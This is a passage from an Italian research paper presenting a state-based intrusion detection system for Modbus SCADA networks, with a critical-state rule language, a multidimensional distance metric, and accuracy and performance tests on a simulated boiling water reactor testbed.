di informazioni proveniente da sensori ID riguardanti attività provenienti da indirizzi IP sospetti.
Questo approccio è utile per fornire un quadro più
14
ampio degli eventi sospetti che accadono nel sistema
monitorato. Tuttavia, non fornisce alcun tipo di tecnica specifica per identificare azioni malevoli complesse e di alto livello. Ning et al. [6] hanno proposto un modello volto a individuare le relazioni di
causa fra gli alert sulla base dei pre-requisiti e le conseguenze. L’approccio proposto da Cuppens e Miege
in [5] adotta pre- e post-condizioni; purtroppo, questa tecnica può generare regole di correlazione spurie, aumentando il rumore del sistema IDS di alerting. Per quanto riguarda le soluzioni di sicurezza per
ambienti industriali e sistemi SCADA, Nai et al.
hanno presentato un primo IDS embrionale per protocolli SCADA [10] in cui è stato introdotto il concetto di state-based analysis. Il presente lavoro estende
quest’ultimo concetto, presentando un framework
teorico e applicativo completo, introducendo il concetto di previsione del livello di criticità degli stati del
sistema. L’idea di individuare gli attacchi analizzando
se il sistema sta entrando in uno stato critico ha alcune analogie con quanto è stato fatto nel campo di
ricerca di Fault-Detection and Diagnosis. Più in dettaglio,
l’approccio più simile è la model-based fault detection, che
si avvale delle cosiddette limit-value based supervisory
functions, per monitorare le variabili misurabili in cerca
di valori non validi o, nel caso di funzioni di protezione automatica, per l’attivazione di opportune azioni di risposta per proteggere il processo (per i dettagli si veda [12], [13], [14]). Questi approcci non possono essere adottati per discriminare tra cyber-attacchi e guasti accidentali, e non forniscono una metrica di prossimità dagli stati critici che sia facilmente
calcolabile, che è il principale contributo di questo
lavoro. La situational awareness è un altro campo di
ricerca che ha una certa somiglianza con il nostro
approccio. La situational awareness è un componente chiave in ambienti critici ed è trattata da un gran
numero di lavori accademici. Per una bibliografia su
questo argomento si rimanda a [15]. generalmente
l’inconveniente principale degli approcci di situational awareness risiede nella quantità enorme di dati da
elaborare e nella mancanza di tecniche efficaci per la
successiva valutazione di eventi che potrebbero essere fonte di minaccia. Un lavoro significativo in questo settore è [16].
3. Analisi degli stati
L’approccio proposto in questo lavoro si basa sul
monitoraggio dell’evoluzione degli stati del sistema.
UN’ANALISI MULTIDIMeNSIoNALe DI STATI CRITICI PeR RILevARe INTRUSIoNI NeI SISTeMI SCADA
Da un punto di vista operativo, gli elementi seguenti
sono necessari per monitorare e analizzare l’evoluzione di un sistema:
• Un linguaggio di rappresentazione per descrivere
in modo formale il sistema in esame.
• Un linguaggio degli stati del sistema, per descrivere in modo formale gli stati critici associate al
sistema in esame.
• Un monitor dell’evoluzione degli stati, per seguire
l'evoluzione del sistema.
• Un rilevatore di stati critici, per verificare se lo
stato del sistema evolve verso uno stato definito critico.
• Una metrica di distanza da stati critici per calcolare quanto uno stato del sistema sia vicino agli
stati critici.
3.1 Descrizione del sistema e rappresentazione degli stati critici
Per la rappresentazione formale degli stati del
sistema industriale abbiamo specificamente definito
un nuovo linguaggio formale chiamato Industrial State
Modeling Language (ISML). Questo linguaggio supporta i sistemi SCADA che utilizzano il protocollo
MoDBUS, ma può essere facilmente esteso ad altri
protocolli industriali.
In ISML una regola ha la forma condition → action.
Condition è una formula booleana composta dalla
congiunzione di predicati che descrivono quali valori possono essere assunti dai diversi componenti critici connessi ai Programmable Logic Controllers (PLC).
Più in dettaglio, ISML è definito in notazione
standard BNf come segue:
⟨comp⟩ rappresenta un register; in MoDBUS:
DI=Discrete Input (1-bit Ro register), Co=Coil(1bit RW register), IR=Input Register(16-bit Ro register) e HR=Holding Register (16-bit RW register).
Lo stato del sistema viene definito dai valori dei
componenti del sistema. Il linguaggio ISML viene
utilizzato (a) per fornire una descrizione dettagliata
del sistema da monitorare, la quale verrà utilizzata
per generare il sistema “virtuale” utilizzato dall’IDS,
e (b) per descrivere una classe particolare di stati del
sistema chiamato stati critici che corrispondono a
situazioni pericolose o indesiderate. Per ogni stato
critico è possibile specificare il livello di rischio. Il
valore 1 corrisponde a uno stato basso rischio critico
(ad esempio il sistema è in esecuzione ma non in
modo ottimale). Il valore 5 corrisponde a un stato
critico pericoloso per il sistema.
Esempio 1: Si consideri un sistema composto da
una turbina e da un sensore di temperatura, entrambi connessi a due PLC. I PLC sono identificati dal
loro indirizzo IP e dalla porta. PLC[10.0.0.10:502] è
connesso ad una turbina con un holding register che
permette di regolare la velocità di rotazione, mentre
PLC[10.0.0.22:502] è connesso ad un sensore di temperatura e il suo valore è memorizzato in un input
register. Il sistema è in uno stato critico (con livello
di rischio 4) se la temperatura è maggiore di 99˚C e
la turbina gira a meno di 1000 giri al minuto. Questo
stato critico può essere formalizzato in ISML come
segue:
L’IDS lancia un avvertimento se la formula critica è soddisfatta.
3.2 Monitoring dell’evoluzione del sistema
Uno State Evolution Monitor (SeM) è un componente software che tiene traccia dell’evoluzione dello
stato del sistema. Nell’approccio presentato, la
descrizione formale del sistema, definita tramite il
linguaggio ISML, viene usata per creare un’immagine software virtuale del sottosistema monitorato.
ogni elemento è rappresentato in memoria. In questo modo viene creata una mappa in memoria dei
PLC e dei Master. L’immagine virtuale contenuta in
SeM è popolata ed aggiornata usando il traffico di
controllo scambiato tra i dispositivi master e slave.
In altre parole, assumendo che il traffico che va dal
master allo slave contiene una compatta rappresentazione dell’evoluzione del sistema, usando lo sniffing
del traffico è possibile mantenere nella memoria di
SeM una riproduzione dello stato del sistema reale.
Inoltre, per garantire una stretta sincronizzazione tra
15
il sistema virtuale e quello reale, SeM contiene un
emulatore di master per eseguire direttamente query
sui PLC del sistema; per limitare la sua interferenza
con il sistema, è possibile definire un “tempo di
invecchiamento” per ogni register e coil presenti nel
sistema virtuale, oltre il quale l’emulatore master può
eseguire una query diretta al PLC. L’accesso alla
memoria per aggiornare il sistema virtuale potrebbe
essere potenzialmente costoso. Nel prototipo realizzato tutti i componenti virtuali sono indicizzati utilizzando una tabella di hash per fornire accesso diretto a ogni elemento.
importante notare che gli allarmi sono sollevati dall’occorrenza di uno stato critico, e non da un particolare schema di attacco. La descrizione di uno stato
critico agisce come un “aggregatore di schemi di
attacchi”, raggruppando nella descrizione di un singolo stato critico tutti quei tipi di attacchi (conosciuti o sconosciuti) che possono condurre il sistema in
quel particolare stato critico. Usando questo approccio è possibile rilevare gli attacchi cosiddetti zero-day
(cioè non ancora scoperti) che portano il sistema in
stati critici conosciuti.
ogni possibile stato del sistema è descritto dai
valori che i componenti del sistema possono assumere. Un certo stato di un sistema di n componenti
può essere rappresentato da un vettore s ∈ ℝn.
L’esempio 1 può essere rappresentato con uno stato
s ∈ ℝ2, dove il valore della velocità della turbina è
mappato su s1, mentre il valore del sensore di temperatura su s2. L’insieme di stati critici CS ⊆ ℝn è l’insieme degli stati che soddisfano le condizioni critiche
descritte nella Sezione 3.1. Sia s(t) lo stato del sistema
al tempo t. Possiamo dire che il sistema in esame è in
uno stato critico se s(t) ∈ CS.
Stabilire se un certo stato s è critico significa verificare se s verifica una qualche formula critica in CS.
Dato uno stato s e una formula critica φ, verificare se
s soddisfa φ corrisponde a valutare la formula φ usando i valori rappresentati da s. La complessità
computazionale per valutare φ è lineare rispetto al
numero dei predicati che compaiono nella formula.
Anche se la valutazione di una formula può essere
effettuata facilmente con una semplice visita del suo
albero di sintassi, abbiamo usato una rappresentazione in memoria della formula basata su vincoli di intervallo, come descritto nella Sezione 4. La valutazione
delle formule critiche usando questa rappresentazione ha la stessa complessità della visita dell’albero di
sintassi, ma tale rappresentazione presenta dei vantaggi per calcolare la misura di prossimità dagli stati
critici.
Dal punto di vista operazionale, il Critical State
Analyzer controlla se lo stato contenuto in SeM corrisponde ad almeno uno degli stati critici specificati.
In tal caso solleva un allarme, memorizzando i dettagli sui pacchetti che hanno causato il sistema critico.
In questo modo è possibile discriminare tra gli attacchi informatici e i fallimenti o attacchi fisici. È
In questa sezione presentiamo un modo di predire
se il sistema sta andando verso uno stato critico. Il
metodo si basa sulla nozione di distanza dagli stati critici. Tracciando i cambiamenti della distanza del sistema corrente dagli stati critici è possibile predirne la
criticalità. Il sistema virtuale descritto nella sezione
precedente è usato per tracciare lo stato corrente del
sistema, e la distanza dagli stati critici è calcolata
usando i valori del sistema virtuale.
3.3 Rilevamento degli stati critici
16
4. Metrica multidimensionale per Stati Critici
4.1 Distanza stato-stato
La nozione di distanza è parametrica rispetto alla
metrica sullo spazio degli stati di sistema. Sia
d: ℝn × ℝn → ℝ+ una qualunque metrica su ℝn. In altre
parole, sia d una qualunque nozione di distanza tra
due stati del sistema. In questo lavoro due distanze
sono particolarmente interessanti:
La distanza d1 è anche detta in letteratura distanza di Manhattan. La distanza dv conta il numero dei
componenti di sistema che hanno valore diverso nei
due stati.
Nell’esempio 1, d1 calcola quanto l’attuale velocità della turbina e temperatura sono vicine ai valori
critici. Sia s = (999, 100) uno stato critico (cioè lo stato
in cui la velocità della turbina è di 999 giri al minuto
e la temperatura è 100˚C). Siano u = (999, 30) e
v = (999, 50) due stati. I valori della distanza
d1(u, s) = 70 e d1(v, s) = 50 indicano che lo stato v è più
vicino allo stato critico s di quanto lo sia lo stato u,
cioè secondo la distanza d1 lo stato u è più sicuro di
v. D’altra parte, i valori dv(u, s) = 1 e dv(v, s) = 1 indicaSpeciale Sicurezza ICT
no che u e v distano dallo stato critico s allo stesso
modo. Infatti, sia nello stato u che in v solo un componente di sistema (il sensore di temperatura) ha un
valore differente dallo stato s. La scelta effettiva della
distanza d1 o dv dipende dalla nozione di criticalità
che si vuole catturare. Quando si è interessati soltanto al numero di componenti che si avvicinano ai valori critici, allora la distanza dv è più appropriata.
Quando invece si è interessati proprio ai valori che si
avvicinano a quelli critici, allora la distanza d1 è più
appropriata.
4.2 Distanza stato-stati critici
Data una qualsiasi distanza su ℝn (ad esempio le
distanze d1 e dv definite in precedenza), la nozione di
distanza tra uno stato e un insieme di stati può essere definita come:
Come definito in letteratura standard, dato un
insieme di numeri reali A ⊆ ℝ, l’espressione inf A
denota il massimo dei minoranti (greatest lower bound)
di A, cioè inf A = max{x ∈ ℝ ∣ ∀y ∈ A. x ≤ y}. Inoltre,
inft ∈ S d(s, t) = inf {d(s, t) ∣ t ∈ s} per ogni s.
La definizione di d(s, S) ricalca il senso comune di
distanza tra un punto ed un insieme di punti. La
nozione di distanza tra uno stato del sistema e l’insieme degli stati critici sarà indicata con d(s, CS). È
fondamentale sottolineare che questa distanza è
completamente parametrica rispetto alla metrica
scelta su ℝn.
4.3 Valutazione della distanza
Il calcolo della distanza d(s, CS) definita in precedenza non segue direttamente dalla sua definizione.
Per un’implementazione efficiente è necessario usare
la forma matematica dell’insieme di stati critici. Il linguaggio delle condizioni critiche implica che, per
ogni formula delle regole, i valori critici di ogni componente appartengono ad intervalli (limitati o illimitati) di numeri reali. Questa informazione è usata per
calcolare la distanza in modo efficiente.
Un vincolo C = I1, …, In è una sequenza di n
intervalli su ℝ, dove n è il numero di componenti del
sistema. Un vincolo indica gli intervalli di valori critici per ogni componente di sistema.
Uno stato s è critico rispetto ad un vincolo C se
per ogni i = 1, …, n, il valore dell’i-esimo componente
si ∈ Ii. ogni formula critica φ può essere rappresentata da uno o più vincoli. Un insieme di vincoli
{C1, …, Ck} è equivalente ad una formula φ se per
ogni stato s che soddisfa φ esiste almeno un vincolo
Cj tale che s è critico rispetto a Cj. Considerando
l’esempio 1, sia φ = PLC[10. 0. 0. 10: 502]. HR[1] ≠ 50
una formula critica. Non è possibile trovare un
vincolo equivalente a φ. Tuttavia, siano C1 = [-∞, 49],
[-∞, +∞] e C2 = [51, +∞], [-∞, +∞] due vincoli.
L’insieme di vincoli {C1, C2} è equivalente a φ, infatti
ogni stato che soddisfa φ soddisfa anche {C1, C2}, e
viceversa.
La nozione di insieme di vincoli equivalenti è la
base per implementare un’opportuna rappresentazione di memoria delle formule critiche. Nella fase
di inizializzazione dell’IDS ogni formula viene convertita nel suo insieme di vincoli equivalenti.
Considerando l’esempio 1, sia:
una formula critica. Tramite il parsing della
formula φ è possibile creare gli intervalli critici di
ogni componente di sistema che compare nella formula. In questo caso, l’insieme di vincoli equivalenti
a φ è costituito da un solo vincolo C = [3, 50],
[30, +∞].
Sia {C1, …, Ck} l’insieme di vincoli equivalenti ad
una formula φ. valgono le seguenti uguaglianze:
La distanza d(s, CS) = minφ d(s, φ) può essere calcolata usando le equazioni (1) e (2), implementate
con due cicli annidati, uno sui vincoli creati nella fase
di inizializzazione, l’altro sugli intervalli che compaiono in ogni vincolo. La complessità è lineare nel
numero di predicati che compaiono nelle formule
critiche.
L’equazione (2) è parametrica rispetto all’effettiva distanza usata. Precisamente, la funzione d(si, Ii)
nella parte destra dell’equazione può essere sostituita
sia con di che con dv. Le definizioni seguenti permettono di implementare facilmente l’algoritmo di
calcolo delle distanze:
17
lo Modbus su TCP e PLC della famiglia ABB
AC800. La figura 1 mostra uno schema del dispositivo elettromeccanico fisico utilizzato per le simulazioni, mentre una descrizione dettagliata dell’ambiente sperimentale può essere trovata in [8].
dove inf I e sup I sono rispettivamente l’estremo
inferiore e superiore dell’intervallo I.
Riassumendo, per calcolare la distanza d(s, CS) tra
uno stato del sistema e l’insieme di stati critici, usando la distanza di Manhattan d1 e la distanza discreta
dv, è sufficiente calcolare l’insieme di vincoli equivalenti di ciascuna formula durante la fase di inizializzazione. Durante l’evoluzione del sistema, la criticalità dello stato corrente e la prossimità dagli stati critici possono essere calcolati implementando le
equazioni (1) e (2). La scelta effettiva delle due
metriche d1 e dv dipende dalla nozione di distanza
scelta.
5. Esperimenti e risultati
In questa sezione sono descritti alcuni test su un
nostro prototipo che implementa l’approccio che
abbiamo descritto. I test sono stati effettuati nel
laboratorio Testbed for Industrial Networking Security del
Joint Research Centre.
Questo laboratorio è stato creato grazie ad una
attività di ricerca di collaborazione tra il
Dipartimento di Ricerca di enel SpA e il Joint
Research Centre della Commissione europea. Il
laboratorio contiene un ambiente protetto in cui un
complesso dispositivo elettromeccanico costituito da
tubi, valvole, sensori, pompe, ecc. viene utilizzato per
emulare fisicamente i diversi stati di una centrale elettrica reale. Nei nostri test abbiamo usato il protocol-
Figura 1: Schema dell'ambiente di simulazione nel nostro laboratorio.
18
5.1 Scenario Boiling Water Reactor
Lo scenario del Boiling Water Reactor (BWR) in
figura 2 mostra un reattore nucleare usato per generare energia elettrica. Il BWR in figura è volutamente semplificato. Il serbatoio a pressione del reattore
contiene gli elementi di combustibile e le barre di
controllo assorbiti in acqua leggera. gli elementi di
combustibile riscaldano l’acqua per produrre vapore.
Il vapore raggiunge la turbina principale attraverso la
linea di vapore e lo fa ruotare. Il vapore utilizzato è
pilotato verso il condensatore dove viene condensato in acqua. L’acqua risultante viene pompata nuovamente nel serbatoio del reattore. I PLC sono programmati con la seguente logica:
PLC1: controlla il sensore di temperatura dell’acqua nel serbatoio e la velocità di Pump 2. Questi valori vengono memorizzati nei registri IR1 e HR1. PLC1
aumenta la velocità della Pump 2, se la temperatura è
troppo elevata, al fine di aumentare il flusso di acqua
fredda e per ridurre la temperatura del serbatoio.
PLC2: controlla il sensore di pressione collegato
alla IR2 e la valvola di controllo VOUT collegata a
HR2, che contiene un valore che rappresenta l’apertura della valvola (0 chiusa - 100 aperto). Quando la
pressione è troppo elevata, PLC2 apre la valvola
VOUT per espellere il vapore e per ridurre la pressio-
Figura 2: Schema del Boiling Water Reactor.
ne interna.
PLC3: controlla il sensore di temperatura del condensatore collegato al IR3 e la velocità di Pump 1 collegata a HR3. Come PLC1, quando la temperatura del
condensatore è troppo alta, PLC3 aumenta la velocità della pompa in modo da aumentare il flusso di
acqua fredda e per condensare il vapore.
La descrizione formale del sistema tramite ISML
è un insieme di predicati che specificano lo stato del
sistema, ad esempio:
dove i valori nella parte destra degli assegnamenti sono i valori iniziali del sistema, e che sono automaticamente sincronizzati con il sistema reale grazie
all’emulatore master.
Di seguito è mostrato un insieme di regole critiche di esempio che rappresentato possibili stati critici per lo scenario BWR.
Il significato delle regole è il seguente:
(R1) Se la temperatura è maggiore di 120˚C e la
velocità di Pump 2 è minore di 40 rpm, allora il sistema è in uno stato critico perché la temperatura dell’acqua è alta ma la velocità della pompa non è sufficiente a ridurre la temperatura del serbatoio.
(R2) Se la pressione è maggiore di 80 bar e la valvolare è aperta meno del 50%, allora il sistema è in
uno stato critico perché la pressione è alta, ma la valvola non è sufficientemente aperta per espellere il
vapore e ridurre la pressione interna.
(R3) Se la temperatura è maggiore di 100˚C e
Pump 1 è minore di 60 rpm, allora il sistema è in uno
stato critico perché la temperatura del vapore è alta,
ma la velocità della pompa non è sufficiente a ridurre la temperatura del condensatore.
esempio di distanza: Si consideri la regola (R1) e
si assuma che PLC[1].IR[1] sia mappato su s1 e
PLC[1].HR[1] su s2.
L’insieme di vincoli equivalenti alla formula critica contenuta nella regola (R1) è l’insieme
{C1 =[120,+∞],[-∞,40]}. Sia s1 =(100,45) lo stato
corrente. La distanza tra s e la formula (R1) è calcolata nel modo seguente:
In questo esempio l’insieme di vincoli equivalenti a (R1) contiene un solo vincolo. Se l’insieme è più
di un vincolo, lo stesso calcolo deve essere ripetuto
per ciascun vincolo e il valore finale della distanza è
il minimo tra i valori calcolati.
5.2 Analisi dell’accuratezza
Uno dei parametri più importanti da prendere in
considerazione quando si valuta un IDS è l’accuratezza, cioè in quale misura sia in grado di identificare correttamente una condizione (nel nostro caso la
presenza di uno stato critico). Nella letteratura scientifica di Intrusion Detection, l’accuratezza viene
comunemente misurata in termini di
falsi positivi e falsi negativi, cioè si considera rispettivamente il numero di falsi
allarmi sollevati e il numero di attacchi
che non vengono identificati. Per misurare l’accuratezza degli IDS, abbiamo messo a punto
il seguente esperimento: un data set è stato creato
attraverso la raccolta di traffico di rete nel nostro
laboratorio ICS per quindici giorni. Il data set è costituito da traffico SCADA standard che riflette le tipiche attività industriali, più del traffico random generato simulando attacchi che mirano a stati critici.
L’approccio proposto è inteso come una funzione
aggiuntiva da aggiungere a IDS esistenti, per fare in
modo di individuare una particolare classe di attacchi
contro i sistemi SCADA. Per questo motivo, abbiamo valutato la sua accuratezza rispetto alla tipologia
di attacchi composti da sequenze di comandi
SCADA leciti. vale la pena notare che la congestione del traffico di rete influisce sulla precisione delle
IDS. Come sottolineato in precedenza, in caso di
un’alta congestione della rete l’immagine del sistema
virtuale potrebbe essere leggermente diversa dal
sistema attuale, a causa della perdita di pacchetti.
Quando ciò accade, le regole di stati critici vengono
valutate usando valori di stato che non sono pienamente coerenti con quelli dello stato reale, con conseguenti falsi positivi o falsi negativi. Per catturare
questo aspetto abbiamo immesso nel traffico di rete,
19
Figura 3: Risultati falsi positivi e negativi.
Tabella 1: Risultati di accuratezza per falsi positivi e negativi.
in modo casuale, dei pacchetti con alti tassi di banda.
La Tabella 1 fornisce un quadro del numero di
allarmi, veri e falsi, generati al giorno. L’esempio
mostra chiaramente che il numero di allarmi veri è
molto superiore a quello di falsi allarmi.
Approssimativamente il 99% degli allarmi generati
sono “true positive”, mentre meno dell’1% del totale sono “false positive”. facciamo notare che l’accuratezza in questo contesto si riferisce alla specifica
classe di attacchi per i quali il nostro approccio è
stato studiato, e cioè quegli attacchi costituiti da
sequenze di comandi SCADA legittimi ma che portano il sistema in uno stato critico.
Monitorando il sistema con l’approccio proposto,
un falso positivo o un falso negativo potrebbero
occorrere nel caso di de-sincronizzazione del sistema
virtuale da quello reale. Un ruolo importante è svolto dall’emulatore Master che si trova all’interno
dell’IDS: più il tempo di richieste di sincronizzazioni
è veloce, minore è il rischio di de-sincronizzazione
del sistema virtuale. Da questo punto di vista i test
precedenti possono essere anche considerati come
20
misura della robustezza contro
falsi positivi e negativi causati da
de-sincronizzazione.
D’altra
parte, una sincronizzazione
eccessivamente veloce e ripetuta
potrebbe interferire molto con il
sistema monitorato. Il compromesso tra la frequenza di richieste di sincronizzazione e l’interferenza con il sistema dipende
fortemente dal sistema. I parametri che devono essere considerati per definire la frequenza di
query appropriata sono: (a) l’architettura di sistema (ad es., se il
sistema è composto da connessioni di rete ridondanti, allora le
connessioni di backup potrebbero essere usate per le query di
sincronizzazione); (b) l’hardware
del sistema (ed es., la potenza
computazionale e di rete dei
PLC); (c) i requisiti di real-time
del sistema. La stima della corretta frequenza di query può
essere considerata parte dell’usuale fase di messa a punto, tipica di ogni IDS. Il giusto compromesso tra il tempo di sincronizzazione e l’interferenza con il sistema può essere
determinato sulla base di test ed esperimenti ad-hoc.
5.3 Test di performance
Questa sezione descrive i test effettuati con una
configurazione che abbiamo chiamato “four subsystem scenario” (fSS). Questo scenario è stato
implementato per misurare i tempi di latenza e di
ritardo dell’IDS. L’fSS è composto da quattro master
connessi a 16 PLC configurati con almeno 100 porte
di input analogiche e digitali.
5.3.1 Test sull’uso della memoria
L’evoluzione delle performance di uso di memoria è mostrato nel seguito. Ci sono due strutture dati
che di dimensione considerevole nel nostro IDS: l’immagine virtuale del sistema e la rappresentazione in memoria
delle regole. La struttura per il sistema virtuale consiste
in una hash table che identifica ogni PLC con una
chiave unica. La quantità di memoria richiesta per
Tabella 2: Memoria per PLC.
Tabella 4: Memoria per regola singola.
Tabella 3: Memoria per VS.
Tabella 5: Memoria per insieme di regole.
ogni oggetto PLC cresce in modo lineare con il
numero di registri del PLC. La memoria richiesta per
l’intero sistema virtuale cresce linearmente con il
numero di PLC del sistema da monitorare. La
Tabella 2 mostra l’uso di memoria per ogni PLC, e la
Tabella 3 mostra l’uso di memoria per il sistema virtuale contenente PLC di 65535 registri (che è il massimo numero permesso dalle specifiche Modbus [4]).
L’altra importante struttura dati è usata per rappresentare le regole di stati critici. Questa struttura
dati è una lista di liste, dove ogni sotto-lista rappresenta una regola. La memoria richiesta per ogni regola cresce in modo lineare con il numero di condizioni presente nella regola, e la memoria necessaria per
l’intero insieme di regole cresce linearmente con il
numero di regole. La Tabella 4 mostra l’uso di
memoria per ogni regola e la Tabella 5 mostra l’uso
di memoria per ogni intero insieme di regole (da 1 a
2000 regole, ciascuna composta da 4 condizioni).
5.3.2 Test per Packet Capturing
Le performance di cattura dei pacchetti del
nostro prototipo è stata testata mandando un alto
numero di pacchetti con un bit rate molto alto. I
Tabella 6: Test per cattura di pacchetti e allarmi sollevati.
risultati sono mostrati in Tabella 6.
In questo scenario l’IDS è sottoposto a burst di
400000 pacchetti consecutivi (con bit rate crescente).
Nei nostri test, il comportamento dell’IDS risulta
affidabile, dal momento che nel caso peggiore (traffico di 2,77 Mbit/sec) solo lo 0.0079% dei pacchetti
e lo 0.0158% degli alert sono andati persi (in Tabella
6 sono mostrati solo gli alert che sono stati persi a
causa della perdita di pacchetti). Come prevedibile, il
numero di pacchetti persi e di alert persi cresce
all’aumentare del traffico, come mostrato in figura 4.
Quando il rate di traffico è al di sotto di 1,215
Mbit/sec non c’è alcun pacchetto perso, e anche
quando il traffico diventa alto (oltre 2 Mbit/sec) la
percentuale di pacchetti persi rimane sotto lo
0,008%.
5.3.3 Test dell’aggiornamento del sistema virtuale
L’IDS, ogni volta che cattura un pacchetto di rete
che rappresenta un comando o un messaggio
SCADA, aggiorna l’immagine del sistema virtuale
(System Virtual Image, SvI) in due passi: trova il PLC
relativo al comando, e aggiorna i valori dell’oggetto
che rappresenta quel PLC. Il primo passo non è rilevante per quanto riguarda le performance dell’IDS in quanto la lista di
PLC è implementata da una hash table,
quindi il tempo impiegato per trovare
un PLC (circa 0,0042 ms secondo le
nostre misure) è praticamente identico
per tutte le tabelle che contengono da
1 a 1000 PLC.
Per misurare il tempo impiegato
per aggiornare le informazioni dei
21
Tabella 7: Performance dell'analizzatore di regole di stati critici (Tempo
in ms).
5.3.4 Test dell’analizzatore delle regole di stati critici
Figura 4: Test sulla cattura di pacchetti e allarmi sollevati.
Figura 5: Performance degli aggiornamenti del sistema virtuale.
PLC è stato impiegato il test seguente: la Master
Station manda 1000 richieste con il comando “Read
n coils”, e la Slave Station risponde con dei messaggi
che contengono gli n valori richiesti. L’IDS cattura le
transazioni richiesta/risposta e aggiorna gli n valori
nell’immagine virtuale del PLC.
I risultati dimostrano la validità dell’approccio.
Infatti, anche nel peggior caso, cioè 2000 coil da
aggiornare (che è il valore massimo consentito dalle
specifiche Modbus [4]), la performance dell’IDS
rimane sotto 1 ms. Inoltre, il tempo impiegato cresce con il numero di coil da aggiornare in modo
lineare, come mostrato nel grafico di figura 5.
22
La performance dell’analizzatore delle regole di
stati critici dipende da due fattori: la dimensione di
ogni regola e la quantità di regole. L’impatto della
dimensione delle regole è stata misurata come segue:
la Master Station manda 1000 richieste generiche e la
Slave Station risponde con il messaggio appropriato,
l’IDS cattura le transazioni richiesta/risposta e controlla se il sistema virtuale sta entrando in uno degli
stati critici definiti da un file di regole che contiene
solo una regola con n condizioni (in questo caso, 2
condizioni). L’impatto del numero di regole sulla
performance dell’IDS è stato testato aumentando il
numero di regole e tenendo fissa la dimensione di
ogni regola. I risultati
sono mostrati in Tabella 7.
È importante notare
che il tempo impiegato
per un numero di condizioni fino a 2048 rimane
inferiore ad 1 ms. Questo
risultato è soddisfacente,
dal momento che è altamente improbabile avere
delle regole con 2048 condizioni. Inoltre, questi test
mostrano che il collo di bottiglia per le performance
IDS è l’analizzatore delle regole di stati critici, specialmente quando il numero di regole è alto. In ogni
caso, il tempo impiegato è inferiore 1 ms con un
numero di regole che arriva fino a 2000.
5.4 Test di performance della distanza
Alla luce dell’implementazione descritta, abbiamo
effettuato i test seguenti:
1. Test sui predicati: l’insieme di regole è composto da soltanto una formula critica che ha
un numero variabile di predicati (fino a 2000)
8.A
8.B
Tabella 8: Test sulla performance del calcolo della distanza
relativi allo stesso componente di sistema.
2. Test sui componenti di sistema: l’insieme
di regole è composto da soltanto una formula
critica che ha un numero variabile di predicati
(fino a 2000) relativi a differenti componenti
di sistema.
3. Test sulle regole: l’insieme di regole è composto da un numero variabile di regole (fino a
2000).
I risultati dei test sono mostrati nella Tabella 8.
Ciascun test conferma che il tempo richiesto per calcolare la distanza è lineare con il numero dei predicati. Nel test 1, il tempo impiegato per calcolare la
distanza (Tabella 8.A) è trascurabile, soprattutto considerando che una lista di 2000 predicati per un singolo componente è improbabile. Nel test 2, il tempo
speso per calcolare la distanza (Tabella 8.B) è inferiore a 6 ms, che è un buon risultato. Nel test 3, il
tempo speso per calcolare la distanza (Tabella 8.C) è
considerevolmente più alto, ma comunque la crescita è lineare e il tempo massimo è inferiore a 60 ms
fino a 2000 regole che è un tempo più che accettabile per sollevare degli alert.
6 Conclusioni
Questo articolo presenta un nuovo approccio per
il rilevamento di una particolare classe di attacchi
informatici nei confronti delle installazioni indu-
8.C
striali. gli aspetti chiave di questa tecnica solo il concetto di stato critico e l’assunzione che un attaccante
che vuole danneggiare un’installazione industriale
(come una centrale elettrica) dovrà modificare, per
raggiungere il suo risultato, lo stato del sistema e portarlo da uno stato sicuro ad uno stato critico.
L’identificazione degli stati critici, che è difficilmente
applicabile ai sistemi ICT tradizionali, trova invece la
sua naturale applicazione nel campo dei controlli
industriali, dove gli stati critici sono in generale ben
conosciuti e di numero limitato. Dal momento che il
rilevamento è basato sull’analisi dell’evoluzione del
sistema e non sull’analisi dell’evoluzione dell’attacco,
l’IDS è anche in grado di rilevare, per gli stati critici
conosciuti, i cosiddetti attacchi “zero-day” (cioè sconosciuti).
L’articolo introduce una metrica multidimensionale che fornisce una misura della distanza tra un
certo stato e l’insieme di stati critici. La metrica è
parametrica rispetto a due possibili concetti di
distanza tra stati, a seconda se è più importante il
numero dei componenti di sistema che si stanno
avvicinando a valori critici, oppure sono i valori stessi di tali componenti ad essere importanti. Questa
metrica può essere usata per tracciare l’evoluzione
del sistema, indicando la sua prossimità dall’insieme
di stati critici predefiniti. I risultati dei test condotti
su un nostro prototipo che implementa l’approccio
descritto dimostrano l’effettiva fattibilità e validità
del metodo proposto.
BIBLIOGRAFIA
[1]
[2]
[3]
[4]
I. Nai fovino, A. Carcano, M. Masera, A. Trombetta, “An experimental investigation of malware attacks
on SCADA systems”, International Journal of Critical Infrastructure Protection, 2(4): 2009.
http://www.digitalbond.com/index.php/research/ids-signatures/modbus-tcp-ids-signatures/, last
access 30/04/2010.
P. gross, J. Parekh and g. kaiser, “Secure Selecticast for collaborative Intrusion Detection systems”, in
Proc. of the Int. Workshop on DeBS, 2004.
Modbus-IDA, Modbus Application Protocol Specification v1.1b, http://www.modbus.org, December
28, 2006.
23
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
24
f. Cuppens and A. Miège, “Alert correlation in a cooperative intrusion detection framework”, In SP ’02:
Proceedings of the 2002 Ieee Symposium on Security and Privacy, page 202, Washington, DC, USA,
2002. Ieee Computer Society.
P. Ning, y. Cui, and D.S. Reeves, “Constructing Attack Scenarios through Correlation of Intrusion
Alerts”, in Proc. of the ACM Conf. on Computer and Communications Security, pages 245-254,
Washington, D.C., November 2002.
J. Slay and M. Miller, ”Lessons Learned from the Maroochy Water Breach”, IfIP International
federation for Information Processing, volume 253, Critical Infrastructure Protection, eds. e. goetz
and S. Shenoi; (Boston: Springer), pp. 73-82, 2008.
I. Nai fovino, M. Masera, L. guidi and g. Carpi, “An experimental Platform for Assessing SCADA
vulnerabilities and Countermeasures in Power Plants”, in Proceedings of the Ieee 3rd International
Conference on Human System Interaction, May 13-15, 2010, Rzeszow, Poland.
S. east, J. Butts, M. Papa and S. Shenoi, “A Taxonomy of Attacks on the DNP3 Protocol”, IfIP
Advances in Information and Communication Technology, Springer Boston ISSN 1868-4238, v.
311/2009, Pages 67- 81.
I. Nai fovino, A. Carcano, M. Masera, A. Trombetta, T. Delacheze-Murel, “Modbus/DNP3 State-based
Intrusion Detection System”, in Proceedings of the 24th International Conference on Advanced
Information Networking and Applications, Perth, Australia, 20-23 April 2010.
g. Clarke, D. Reynders, “Modern SCADA Protocols”, elsevier, 2004, ISBN 0750657995.
R. Isermann, “Supervision, fault-detection and fault-diagnosis methods. An Introduction”, Control
engineering Practice, vol.5, n.5, pp.639-652, 1997.
